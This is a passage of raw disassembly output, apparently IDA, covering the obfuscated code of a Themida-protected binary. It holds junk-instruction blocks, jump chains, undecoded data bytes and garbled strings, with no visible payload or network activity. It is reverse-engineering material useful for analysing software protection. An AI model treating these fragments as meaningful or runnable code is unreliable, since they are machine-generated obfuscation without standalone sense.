; ---------------------------------------------------------------------------

loc_547F12:				; CODE XREF: Themida_:00553C4Cj
		sub	ebx, 6ABB7B4Ah
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_549CBA
; ---------------------------------------------------------------------------
		dd 45BE953h, 0BA520000h, 50912E39h, 0D1CBC281h,	0EB81AF6Eh
		dd 41B430E5h, 1EE9D301h, 50FFFFE5h, 6A4349B8h, 0BDBF577Ah
		dd 0C165B238h, 0F78107EFh, 5CDF13EBh, 0C634E9h,	3C336600h
		dd 3C316624h, 9B6EE924h, 0BE560000h, 69916B86h,	0FFE38EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_547F89:				; CODE XREF: Themida_:0055416Fj
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		jmp	loc_545222
; ---------------------------------------------------------------------------
		db 81h
		dd 0C402E8EAh, 2AC28116h, 0E9AB9689h, 39E8h, 4244481h
		dd 3D98131Ch, 0F705585Fh, 521F036Bh, 0FFD551E9h, 0A4C681FFh
		dd 0E9F6C420h, 0A170h
; ---------------------------------------------------------------------------

loc_547FC8:				; CODE XREF: Themida_:00552532j
		sub	cl, 0Ch
		dec	cl
		xor	cl, 26h
		mov	dl, cl
		jmp	loc_547E8F
; ---------------------------------------------------------------------------
		db 5
		dd 79F02E9Dh, 2A41E9h, 241C8900h, 0FFE986E9h, 0C7815FFFh
		dd 4, 6CBBE9h, 4C28100h, 81000000h, 4C2h, 24148700h, 3969E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54800A:				; CODE XREF: Themida_:005497B6j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xor	ebp, 0FE766BEAh
		jmp	loc_548385
; ---------------------------------------------------------------------------

loc_54801F:				; CODE XREF: Themida_:00546855j
		push	ebp
		mov	ebp, 31D7D04h
		not	ebp
		dec	ebp
		push	6FD3h
		mov	[esp], edi
		push	eax
		mov	eax, 65854361h
		mov	edi, eax
		pop	eax
		or	edi, 679C5B39h
		jmp	loc_556E6E
; ---------------------------------------------------------------------------
		dd 4C1835Ah, 2474FF51h,	2BE5E904h, 0E9560000h, 6BD6h
; ---------------------------------------------------------------------------

loc_548058:				; CODE XREF: Themida_:00547021j
		pop	edi
		xchg	esi, [esp]
		jmp	loc_556C4D
; ---------------------------------------------------------------------------
byte_548061	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00543174o
aHby		db '$hby',0
		align 2
		dw 1C89h
		dd 815B5424h, 4C3h, 4EC8100h, 89000000h, 268242Ch, 5D000000h
		dd 8904EC83h, 0F7B82404h, 35168024h, 6CEA5080h,	439CE9h
		db 0
; ---------------------------------------------------------------------------

loc_548099:				; CODE XREF: Themida_:0054B02Cj
		mov	esi, 67BE30FEh
		not	esi
		inc	esi
		add	esi, 0B9F4E23h
		xor	esi, 0E4FBAA6h
		xor	ecx, esi
		pop	esi
		jmp	loc_54D670
; ---------------------------------------------------------------------------

loc_5480B5:				; CODE XREF: Themida_:0055633Ej
		mov	ebp, 50E843C6h
		jmp	loc_5558F6
; ---------------------------------------------------------------------------

loc_5480BF:				; CODE XREF: Themida_:00547B2Aj
		pop	eax
		pop	dword ptr [esp]
		neg	eax
		jmp	loc_547D1A
; ---------------------------------------------------------------------------

loc_5480CA:				; CODE XREF: Themida_:00548660j
		push	ecx
		push	5AEBh
		mov	[esp], ebp
		mov	ebp, 7EE711EBh
		mov	ecx, 0AF416AC3h
		jmp	loc_54BD3E
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0C8B6624h, 37896824h, 1C890000h, 0BFFDE924h,	0D9310000h
		dd 0ABC1815Bh, 1FD544Bh, 335F59CDh, 2C31242Ch, 242C3324h
		dd 0F624248Bh, 0B60F66F9h, 0E86866CCh, 0C89665Eh, 0B60F6624h
		dd 9C5166C8h, 0FFB172E9h, 4EC81FFh, 89000000h, 0E954243Ch
		dd 563Ah
dword_548138	dd 0E932FF66h, 0FFFFB15Bh ; DATA XREF: Themida_:005431B4o
; ---------------------------------------------------------------------------

loc_548140:				; CODE XREF: Themida_:0054A390j
		mov	esi, edi
		jmp	loc_5501E5
; ---------------------------------------------------------------------------
		db 89h
		dd 0D90158C3h, 26BD555Bh, 811D2364h, 236422F5h,	1FE9E91Dh
		dd 28BF0000h, 81567A35h, 0AA3251EFh, 77F78138h,	29441E5Bh
		dd 0ED815FFDh, 6AEB4352h, 0E924148Bh, 0A4ACh, 295EF301h
		dd 55EB81C3h, 0E965D636h, 4A04h
dword_548190	dd 4EC8351h, 57242489h,	4BFh, 247C0100h, 56595F04h, 0F252E9h
					; DATA XREF: Themida_:00542FD4o
		dd 24048100h, 4, 4C5815Dh, 0E9000000h, 6605h, 5C240487h
		dd 0FFFAB1E9h, 4EC83FFh, 0C6D8E9h
		db 0
; ---------------------------------------------------------------------------

loc_5481CD:				; CODE XREF: Themida_:00556C07j
		push	edx
		push	ecx
		mov	cl, 86h
		not	cl
		inc	cl
		jmp	loc_55252C
; ---------------------------------------------------------------------------
		dw 4BEh
		dd 0E9000000h, 0FA2Bh, 636AC381h, 0FB295E5Bh, 9F11E9h
		db 0
; ---------------------------------------------------------------------------

loc_5481F1:				; CODE XREF: Themida_:0054693Aj
		pop	edx
		jmp	loc_55307D
; ---------------------------------------------------------------------------
		db 68h
		dd 65ADh, 89240489h, 405E0h, 0EC830000h, 242C8904h, 0D777E9h
		dd 24348900h, 5E6E4168h, 45E95E5Fh, 89FFFFBBh, 0E951243Ch
		dd 0F233h, 6CD7BE56h, 0E6812576h, 448127E4h, 31FCC681h
		dd 0EEC13959h, 47B85007h, 53A5A05h, 2F92697Dh, 2256E9h
		db 0
; ---------------------------------------------------------------------------

loc_54824D:				; CODE XREF: Themida_:00556F2Ej
		xor	eax, 61B36A57h
		xor	ebx, eax
		jmp	loc_550E8E
; ---------------------------------------------------------------------------
byte_548259	db 66h,	8Bh, 4		; DATA XREF: Themida_:0054304Co
		dd 0EC835024h, 0E904h, 24890000h, 24048324h, 89525804h
		dd 4C281E2h, 83000000h,	836804EAh, 89000008h, 74FF2414h
		dd 0E95A0424h, 0F423h, 0BA35E95Bh, 515BFFFFh, 0B850E189h
		dd 4, 48BC101h,	4C48124h, 81000000h, 4C1h, 240C3300h, 33240C31h
		dd 248B240Ch, 4EC8124h,	89000000h, 5052242Ch, 9F8DE9h
		dd 786D6800h, 0C890000h, 2C8BB924h, 0D7E97F40h,	290000A7h
		dd 0EEF3E9DEh, 0C8010000h, 0BA77652Dh, 0E9565972h, 81B8h
; ---------------------------------------------------------------------------

loc_5482F0:				; CODE XREF: Themida_:005493B5j
		push	176Ah
		jmp	loc_54E0D5
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0FFFFDF25h, 5C240487h, 24042166h, 0AF8DE99Ch, 0C501FFFFh
		dd 242C3358h, 33242C31h, 38E9242Ch
		db 0CDh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_54831F:				; CODE XREF: Themida_:00552B9Aj
		mov	ebx, ebp
		mov	edx, ebx
		pop	ebx
		pop	ebp

loc_548325:				; CODE XREF: Themida_:0055638Bj
					; Themida_:00558264j
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		pop	ecx
		push	5BEEh
		mov	[esp], ebx
		push	esp
		jmp	loc_549503
; ---------------------------------------------------------------------------

loc_54833A:				; CODE XREF: Themida_:00552816j
		add	esp, 4
		and	ecx, esi
		jmp	loc_54F9DC
; ---------------------------------------------------------------------------

loc_548347:				; CODE XREF: Themida_:005508F3j
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		shr	ebp, 3
		sub	ebp, 276C16A1h
		jmp	loc_546879
; ---------------------------------------------------------------------------

loc_54836C:				; CODE XREF: Themida_:005450BAj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esp, 4
		push	ecx
		jmp	loc_54C541
; ---------------------------------------------------------------------------
		dd 243C3166h, 0FFFBECE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_548385:				; CODE XREF: Themida_:0054801Aj
		add	ebx, ebp
		jmp	loc_54D5F0
; ---------------------------------------------------------------------------
		dd 47FBEF81h, 0F8010080h, 0FFC623E9h, 4BBFFh, 0DE010000h
		dd 72EEE9h
		db 0
; ---------------------------------------------------------------------------

loc_5483A5:				; CODE XREF: Themida_:0054A49Ej
		pop	edx
		mov	ebx, [esp]
		push	eax
		jmp	loc_556F65
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0E2895200h, 4C281h, 52E90000h,	3100002Eh, 2434FFE8h
		dd 112D685Dh, 14890000h, 815A5424h, 4C2h, 4EA8300h, 8B241487h
		dd 4892424h, 55585424h,	4BDh, 54EDE900h, 52660000h, 8032B551h
		dd 0E5C031F5h, 43CAE905h, 34890000h, 4BE24h, 0F0010000h
		dd 0E924348Bh, 4EFAh, 4EC8159h,	0E9000000h, 0FFFFC0D7h
		dd 5C240C33h, 9C2424D3h, 0FFAE6EE9h, 5BDE31FFh,	4E9D6F7h
		db 8Bh,	2 dup(0)
byte_548437	db 64h			; DATA XREF: Themida_:00543158o
		dd 5CE932FFh, 83FFFFAEh, 0D60104C4h, 30ECC681h,	0C6810A92h
		dd 39242694h, 2C6835Ah,	0FFF39FE9h, 4D7705FFh, 0F0016C28h
		dd 284D772Dh, 0FF505E6Ch, 8B042474h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_554249
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 1B02h, 0B5FBE952h
		db 2 dup(0FFh)
word_548482	dw 8B66h		; DATA XREF: Themida_:005430B8o
		dd 3D68240Ch, 89000063h, 95E92414h, 81000067h, 0A02572C3h
		dd 5ACB8119h, 81489E41h, 36425CBh, 2E3C163h, 7FFCEB81h
		dd 0E95172B1h, 0BE3Dh, 0E9FFC183h, 0FDD9h, 7BFABB53h, 0D3F77354h
		dd 39A8CB81h, 0D14B76FAh, 27E068EBh, 14890000h,	1F6E6824h
		dd 148B37F6h, 4C48324h,	3A2BC281h, 0D301AAAAh, 0BEF3815Ah
		dd 4B004164h, 0C63CE9h,	5BB5300h, 0B8151F2Ah, 151F2A01h
		dd 0FFF999E9h, 0AEB850FFh, 312A2CE7h, 24048BC6h, 8304C483h
		dd 0AEE904ECh, 51000065h, 66BFE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548522:				; CODE XREF: Themida_:00543D2Cj
		xchg	ebx, [esp]
		jmp	loc_54A218
; ---------------------------------------------------------------------------
		dw 4BAh
		dd 1000000h, 0FF042454h, 0E95A2434h, 33EDh, 87E95B54h
		dd 58000025h, 0A333E9h
		db 0
byte_548549	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0054301Co
		dd 0D359669Dh, 0E99C241Ch, 0FFFFAD43h
dword_548558	dd 582434FFh, 8B93E9h, 34D0F600h, 0AFEDE983h ; DATA XREF: Themida_:00543020o
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54856A:				; CODE XREF: Themida_:0054F7AAj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		push	ebx
		push	507Dh
		mov	[esp], edi
		push	ebp
		mov	ebp, 76954DABh
		and	ebp, 67736E04h
		jmp	loc_54BC7D
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 68468h, 24048900h, 714068h, 24248900h, 4B951h, 4C010000h
		dd 58590424h, 405h, 0B9E1E900h
		db 2 dup(0)
word_5485BE	dw 34FFh		; DATA XREF: Themida_:00542FFCo
		dd 0EC815924h, 4, 68242C89h, 956h, 9F78E9h, 70F38100h
		dd 2175051Eh, 0EA815BDAh, 1090ADA8h, 3E9D321h, 6800006Bh
		dd 5568h, 0FFC883E9h, 243C89FFh, 4126E9h, 59CA2900h, 8CCEA81h
		dd 0CA01086Fh, 6D0E68h,	0B963E900h, 1590000h, 8DC681EEh
		dd 8178DD77h, 2C1740C6h, 242C8B36h, 8104C483h, 2EEh, 24348700h
		dd 6624248Bh, 0E9240489h, 0FFFFAC5Fh, 50C4BB59h, 0D301AE76h
		dd 2F83E95Ah, 1C890000h, 3FE8BB24h, 0C68120B2h,	549C793Ch
		dd 23EDE9h
		db 0
; ---------------------------------------------------------------------------

loc_54865D:				; CODE XREF: Themida_:0054A21Ej
		mov	[esp], ebp
		jmp	loc_5480CA
; ---------------------------------------------------------------------------

loc_548665:				; CODE XREF: Themida_:005454B0j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	eax
		mov	eax, 77ECA4D7h
		xor	edx, eax
		pop	eax
		mov	[edi+20h], edx
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp

loc_548692:				; CODE XREF: Themida_:loc_55092Bj
					; Themida_:005522A0j
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_54F4DF
; ---------------------------------------------------------------------------

loc_54869D:				; CODE XREF: Themida_:0055394Ej
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_54329B
; ---------------------------------------------------------------------------
dword_5486B0	dd 4EC81h, 4890000h, 5E08924h, 4, 1B2968h, 242C8900h, 0FFD7C6E9h
					; DATA XREF: Themida_:005431D8o
		db 0FFh
; ---------------------------------------------------------------------------

loc_5486CD:				; CODE XREF: Themida_:005493C1j
		mov	ebx, 54861E10h
		shr	ebx, 6
		push	esi
		mov	esi, 1E700090h
		jmp	loc_54A817
; ---------------------------------------------------------------------------

loc_5486E0:				; CODE XREF: Themida_:0054EE53j
		mov	[esp], ebx
		jmp	loc_547C11
; ---------------------------------------------------------------------------

loc_5486E8:				; CODE XREF: Themida_:00549E7Dj
		add	esp, 4
		add	eax, 4
		push	ecx
		jmp	loc_550750
; ---------------------------------------------------------------------------
		db 1, 0C2h, 0E9h
		dd 9C19h, 340868h, 243C8900h, 42474FFh,	0FFC62DE9h, 5AF388FFh
		dd 88505A59h, 0E9E188DCh, 0B56h
; ---------------------------------------------------------------------------

loc_548720:				; CODE XREF: Themida_:0054AE42j
		pop	esp
		mov	[esp], edx
		mov	edx, 4
		sub	edi, 764F0E5Ch
		add	edi, edx
		push	eax
		mov	eax, 764F0E5Ch
		add	edi, eax
		jmp	loc_54C0FA
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_557707
; ---------------------------------------------------------------------------
		db 0BDh
		dd 506F3848h, 525DEE01h, 7C45BD55h, 0C581581Dh,	412A0430h
		dd 2EDC14Dh, 7014C581h,	0EA8957EAh, 8BD6095Dh, 0C4812414h
		dd 4, 0E953DEF7h, 0FFFFC569h, 48BC709h,	28F7E924h, 0D8280000h
		dd 0E951532Ch, 97BFh
; ---------------------------------------------------------------------------

loc_548798:				; CODE XREF: Themida_:005495BDj
		pop	edx
		push	esi
		mov	esi, esp
		jmp	loc_549479
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 1Eh
		dd 89009A00h, 0A0E95AD7h, 810000C0h, 6BCA12E9h,	0DCC381C9h
		dd 29200649h, 0DCEB81CBh, 59200649h, 0C381D301h, 6CB236E4h
		dd 5A2434FFh, 4C481h, 0BD550000h, 2, 5D2EC381h,	0EB292EB4h
		dd 5D2EEB81h, 2C8B2EB4h, 4C48124h, 87000000h, 665C241Ch
		dd 0E9240C89h, 5D37h, 315DEA31h, 0BB535AD1h, 0C2E8CD31h
		dd 685BD901h, 71B4h, 89240C89h,	4C181E1h, 81000000h, 4E9h
		dd 240C8700h, 2434895Ch, 676EC468h, 0E1E95E26h,	810000ACh
		dd 6D7756CFh, 54F7810Fh, 10F6D7Fh, 2434FFFBh, 4C4835Fh
		dd 31241C33h, 1C33241Ch, 3B64E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54885A:				; CODE XREF: Themida_:0054418Cj
		and	ecx, 7577463Ch
		jmp	loc_5518BE
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E92434FFh, 1B8Ch, 485AD089h, 0DCB95148h, 0E94BBF47h
		dd 3DB5h, 9645C381h, 0D9292947h, 0BD55515Bh, 1,	4246C01h
		dd 0D1F4E9h, 24043300h,	2434FF5Ch, 0E92434FFh, 0FFFFFFBDh
; ---------------------------------------------------------------------------

loc_5488A8:				; CODE XREF: Themida_:005504C4j
		sub	ecx, 0D24C0h
		add	esi, ecx
		pop	ecx
		push	ebp
		push	4F3C0C20h
		pop	ebp
		xor	ebp, 788F4459h
		and	ebp, 3F5D6043h
		add	ebp, 71542607h
		jmp	loc_54944A
; ---------------------------------------------------------------------------

loc_5488CF:				; CODE XREF: Themida_:0054B3D5j
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_54329B
; ---------------------------------------------------------------------------

loc_5488DD:				; CODE XREF: Themida_:0054C1B2j
		sub	esp, 4
		mov	[esp], edi
		push	430449ECh
		pop	edi
		add	edx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_54329B
; ---------------------------------------------------------------------------
aBBs		db '│гbSь',0
		db 1
aBqbs		db 'в│ОbSь',0
		db 81h
		dd 0FF3464C7h, 24148B12h, 0C1C2E9h, 48F5D00h, 24248B24h
		dd 0E168F1F7h, 8900000Fh, 9C502414h, 0FFA96AE9h, 4C781FFh
		dd 33000000h, 3C31243Ch, 243C3324h, 0E924248Bh,	0DD35h
		dd 6DF9BB53h, 0F3813182h, 7B1F6D71h, 0E952D3F7h, 0FFFFF41Fh
; ---------------------------------------------------------------------------

loc_54895C:				; CODE XREF: Themida_:005475EDj
		sub	ebx, 4DA20A45h
		inc	ebx
		dec	ebx
		xor	ebx, 2A0A49CBh
		neg	ebx
		add	ebx, 927208B4h
		add	ecx, ebx
		pop	ebx
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		shr	eax, 0Eh
		xor	eax, ecx
		push	2B28h
		mov	[esp], eax
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_54E506
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0EAh
		dd 9665574Fh, 148BD301h, 0E2895224h, 4C281h, 0C2810000h
		dd 4, 6F5E9h, 242C8900h, 0BD493CBDh, 0EA1AE96Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5489C6:				; CODE XREF: Themida_:00546B4Dj
		push	edx
		jmp	loc_5559EB
; ---------------------------------------------------------------------------

loc_5489CC:				; CODE XREF: Themida_:0054C3A8j
		push	eax
		mov	eax, 72B142Bh
		xor	esi, eax
		push	dword ptr [esp]
		jmp	loc_54C075
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0EC83242Ch, 241C8904h, 8879FFBBh,	81E3D10Eh
		dd 0DA1A6EC3h, 0FCBE5666h, 21279723h, 0F3815EF3h, 537429B5h
		dd 0E95BDD89h, 0AAE9h
; ---------------------------------------------------------------------------

loc_548A0C:				; CODE XREF: Themida_:00549A65j
		mov	cl, 27h
		add	cl, 4Bh
		push	ecx
		mov	cl, 0A4h
		jmp	loc_5443B8
; ---------------------------------------------------------------------------
		db 68h,	98h, 3Dh
		dd 24890000h, 4BD5524h,	1000000h, 5D04246Ch, 0F5D5E9h
		dd 96F18100h, 51608F16h, 592414F7h, 0B445E9h, 5AD30100h
		dd 5C241C87h, 3014BB2Dh, 5F0011Dh, 1D3014BBh, 0E924348Bh
		dd 655Ah
		db 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55156A
; ---------------------------------------------------------------------------

loc_548A6B:				; CODE XREF: Themida_:0054419Dj
		mov	[esp], edi
		mov	edi, 515413D5h
		shr	edi, 2
		sub	edi, 9817FDDh
		or	edi, 377620FFh
		not	edi
		shr	edi, 5
		xor	edi, 75106A13h
		jmp	loc_54BD38
; ---------------------------------------------------------------------------
		dw 0E335h
		dd 90FEE3Fh, 0EA8158C2h, 36B120C0h, 9AF1E9h, 42DAF700h
		dd 65DFC281h, 0C281694Dh, 1D8D1065h, 0FFCD0FE9h, 6AE952FFh
		dd 810000C9h, 0B422DC6h, 81DEF739h, 0DB66A0EEh,	0C3EAE930h
		dd 0D0F70000h, 3E36FF35h, 0FB153522h, 0C189D54Dh, 0E9D1F758h
		dd 1D95h, 0AD3E7ABFh, 669EE931h, 34FF0000h, 7F1AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548AFA:				; CODE XREF: Themida_:0054DF00j
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_547A54
; ---------------------------------------------------------------------------
		dd 57242C89h, 685E8CBFh, 77BB5328h, 0E913F2E8h,	4303h
; ---------------------------------------------------------------------------

loc_548B1C:				; CODE XREF: Themida_:00551047j
		sub	esi, 2
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_547B07
; ---------------------------------------------------------------------------
		dd 5E08950h, 4,	42Dh, 24048700h, 2434895Ch, 24348B54h
		dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 4C681h, 0EC830000h
		dd 241C8904h, 6B96E951h, 0E7D00000h, 0A998E9h, 0EF015900h
		dd 0B534E956h, 0D5870000h, 0DDF7455Ah, 4A76C581h, 27E91EFFh
		dd 0FF0000C8h, 0A709E930h, 0C468FFFFh, 89000068h, 0E952241Ch
		dd 0C41Bh, 0E905E0C1h, 0FFFFF3D6h
; ---------------------------------------------------------------------------

loc_548BA8:				; CODE XREF: Themida_:00557074j
		push	ecx
		mov	ecx, 0E225B48h
		add	ebp, ecx
		pop	ecx
		push	ebp
		add	dword ptr [esp], 2A5225EFh
		pop	edi
		sub	edi, 2A5225EFh
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_5538EF
; ---------------------------------------------------------------------------

loc_548BCB:				; CODE XREF: Themida_:00554632j
		pop	esp
		jmp	loc_54A31D
; ---------------------------------------------------------------------------

loc_548BD1:				; CODE XREF: Themida_:005580F3j
		pop	edi
		and	eax, 61584DB5h
		push	edi
		mov	edi, 1
		jmp	loc_54F55E
; ---------------------------------------------------------------------------
		dw 0EF01h
		dd 0FFEE5DE9h, 58C289FFh, 0FEBE56h, 0F6815926h,	26A4F9Bh
		dd 72CE8146h, 81293E52h, 3C7D18F6h, 0E9F1017Eh,	5D93h
		dd 24048966h, 0F484E9h,	242C8700h, 0B3BE9h, 0B9515800h
		dd 31112502h, 0D5F7E987h, 6EE9E987h, 520000EFh,	0EA80BAB2h
		dd 5AD58837h, 0FFCC67E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_548C3D:				; CODE XREF: Themida_:0054B402j
		xor	ebp, esi
		jmp	loc_549B49
; ---------------------------------------------------------------------------

loc_548C44:				; CODE XREF: Themida_:0055475Dj
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_553209
; ---------------------------------------------------------------------------
aAuohrr		db '─Н╝hrR',0
		dw 8900h
		dd 0F188240Ch, 68E7E952h, 0EC830000h, 24148904h, 0AA047BBAh
		dd 4E2C128h, 4977C281h,	0F74253EAh, 0D4EA81DAh,	0E921756Eh
		dd 0FFFFC4A0h, 525FFA29h, 42474FFh, 24048F5Ah, 8924248Bh
		dd 0FCE92404h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548C9F:				; CODE XREF: Themida_:0054FB8Aj
		xor	eax, [esp]
		pop	esp
		shr	ecx, 0
		or	eax, eax
		jz	loc_54A2EA
		push	56AAh
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	3C1h
		mov	[esp], ebx
		mov	ebx, esp
		push	esi
		jmp	loc_552DBD
; ---------------------------------------------------------------------------

loc_548CD5:				; CODE XREF: Themida_:005490F0j
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		push	ebx
		mov	ebx, 39FB059Eh
		mov	edx, ebx
		pop	ebx
		push	edx
		push	16B17EFEh
		pop	edx
		dec	edx
		xor	edx, 0D0B5849Bh
		push	ecx
		mov	ecx, edx
		mov	ebx, ecx
		pop	ecx
		pop	edx
		add	ebx, edx
		pop	edx
		add	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_552980
; ---------------------------------------------------------------------------

loc_548D07:				; CODE XREF: Themida_:00556338j
		pop	edx
		sub	al, 0FFh
		push	cx
		mov	ch, 1Dh
		and	al, ch
		pop	cx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_554265
; ---------------------------------------------------------------------------
		db 53h,	0FFh, 74h
		dd 8F5B0424h, 665C2404h, 5024148Bh, 4055854h, 2D000000h
		dd 4, 0FFC7A7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_548D49:				; CODE XREF: Themida_:0055834Ej
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_551D42
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 0CDC7A4Fh, 0ACC58159h, 81167B56h, 5C5824C5h,	81D5014Ch
		dd 5C5824EDh, 0ACED814Ch, 68167B56h, 483Ah, 0E9243C89h
		dd 0FFFFF3DAh, 0FB895F55h, 0EBC15D5Fh, 0F06DE903h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548D92:				; CODE XREF: Themida_:00557B90j
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_55462F
; ---------------------------------------------------------------------------
		dd 0B8240489h, 70B12888h, 4503EB81h, 0BA521E0Dh, 6867693Eh
		dd 46D6E281h, 0E2E966BCh, 5BFFFFFCh, 3104C483h,	2434FFC8h
		dd 9835E9h, 241C8B00h, 4C481h, 89500000h, 405E0h, 0C0830000h
		dd 0AC29E904h, 295DFFFFh, 51535BD9h, 0A17BE9h
		db 0
; ---------------------------------------------------------------------------

loc_548DF5:				; CODE XREF: Themida_:00556436j
		pop	eax
		xchg	eax, esi
		not	esi
		xchg	eax, esi
		xchg	eax, edx
		push	eax
		push	edx
		mov	eax, [esp]
		add	esp, 4
		pop	edx
		jmp	loc_557B95
; ---------------------------------------------------------------------------

loc_548E0C:				; CODE XREF: Themida_:0054F431j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0B5E5C84h
		sub	[esp+4], eax
		pop	eax
		pop	edx
		jmp	loc_554B93
; ---------------------------------------------------------------------------
		db 83h,	0C1h, 4
		dd 5C240C87h, 34FFD001h, 0C4835A24h, 43B52D04h,	0F8295141h
		dd 4143B505h, 648E2D51h, 3C8B3F5Ah, 0E7895724h,	556FB951h
		dd 0E1810EB8h, 3D882FCFh, 54BF181h, 0CF010C88h,	4C78359h
		dd 31243C33h, 3C33243Ch, 0AE685C24h, 0E900006Ah, 0FFFFA4A4h
		dd 6007ED81h, 0C2E9624Dh
		db 0B6h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_548E83:				; CODE XREF: Themida_:0055643Ej
		add	edx, edi
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 4
		jmp	loc_54701F
; ---------------------------------------------------------------------------

loc_548E9C:				; CODE XREF: Themida_:0055778Dj
		or	eax, eax
		jz	loc_5459A7
		push	ebx
		push	ecx
		mov	ecx, 37D8361Dh
		xor	ecx, 37D83601h
		mov	ebx, ecx
		jmp	loc_549FA9
; ---------------------------------------------------------------------------
		dd 0E904C083h, 28C9h
; ---------------------------------------------------------------------------

loc_548EC0:				; CODE XREF: Themida_:0054E1AEj
		add	esp, 4
		xor	eax, 645E56A3h
		jmp	loc_54A61D
; ---------------------------------------------------------------------------
		db 53h,	55h, 0BDh
		dd 241D56F5h, 0B381E9h,	6BE98100h, 89AF57F3h, 0EDC159CDh
		dd 4E5C102h, 3696C581h,	26E93DEAh, 0BE0000EEh, 4E6F397Ch
		dd 4081EE81h, 0E94E5B5Dh, 592Fh
; ---------------------------------------------------------------------------

loc_548F04:				; CODE XREF: Themida_:005499CBj
		add	esp, 4
		mov	ebx, 6AD6E005h
		jmp	loc_556516
; ---------------------------------------------------------------------------

loc_548F11:				; CODE XREF: Themida_:00554804j
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5455FB
; ---------------------------------------------------------------------------
		db 0C1h
		dd 9CE903E1h, 890000EBh, 468243Ch, 5F000000h, 0BEB5E951h
		dd 0E7C1FFFFh, 4EC8304h, 3533E9h
		db 0
; ---------------------------------------------------------------------------

loc_548F45:				; CODE XREF: Themida_:005500A1j
		push	ebx
		pop	eax
		pop	ebx
		or	edi, eax
		jmp	loc_5451F5
; ---------------------------------------------------------------------------

loc_548F4F:				; CODE XREF: Themida_:005444BEj
		sub	esp, 4
		jmp	loc_545F4F
; ---------------------------------------------------------------------------
		db 57h
		dd 0C781E789h, 4, 4EF81h, 3C870000h, 3C895C24h,	3606E924h
		dd 0E95C0000h, 4CACh, 24048F5Ah, 8A24248Bh, 8804244Ch
		dd 0FF04245Ch, 535B2434h, 0C381E389h, 4, 4BF57h, 0FB010000h
		dd 241C875Fh, 6719E9h
		db 0
; ---------------------------------------------------------------------------

loc_548FA5:				; CODE XREF: Themida_:00556044j
		mov	[esp], edi
		jmp	loc_5534EF
; ---------------------------------------------------------------------------
aMsK		db ',MИо┼',0
		align 4

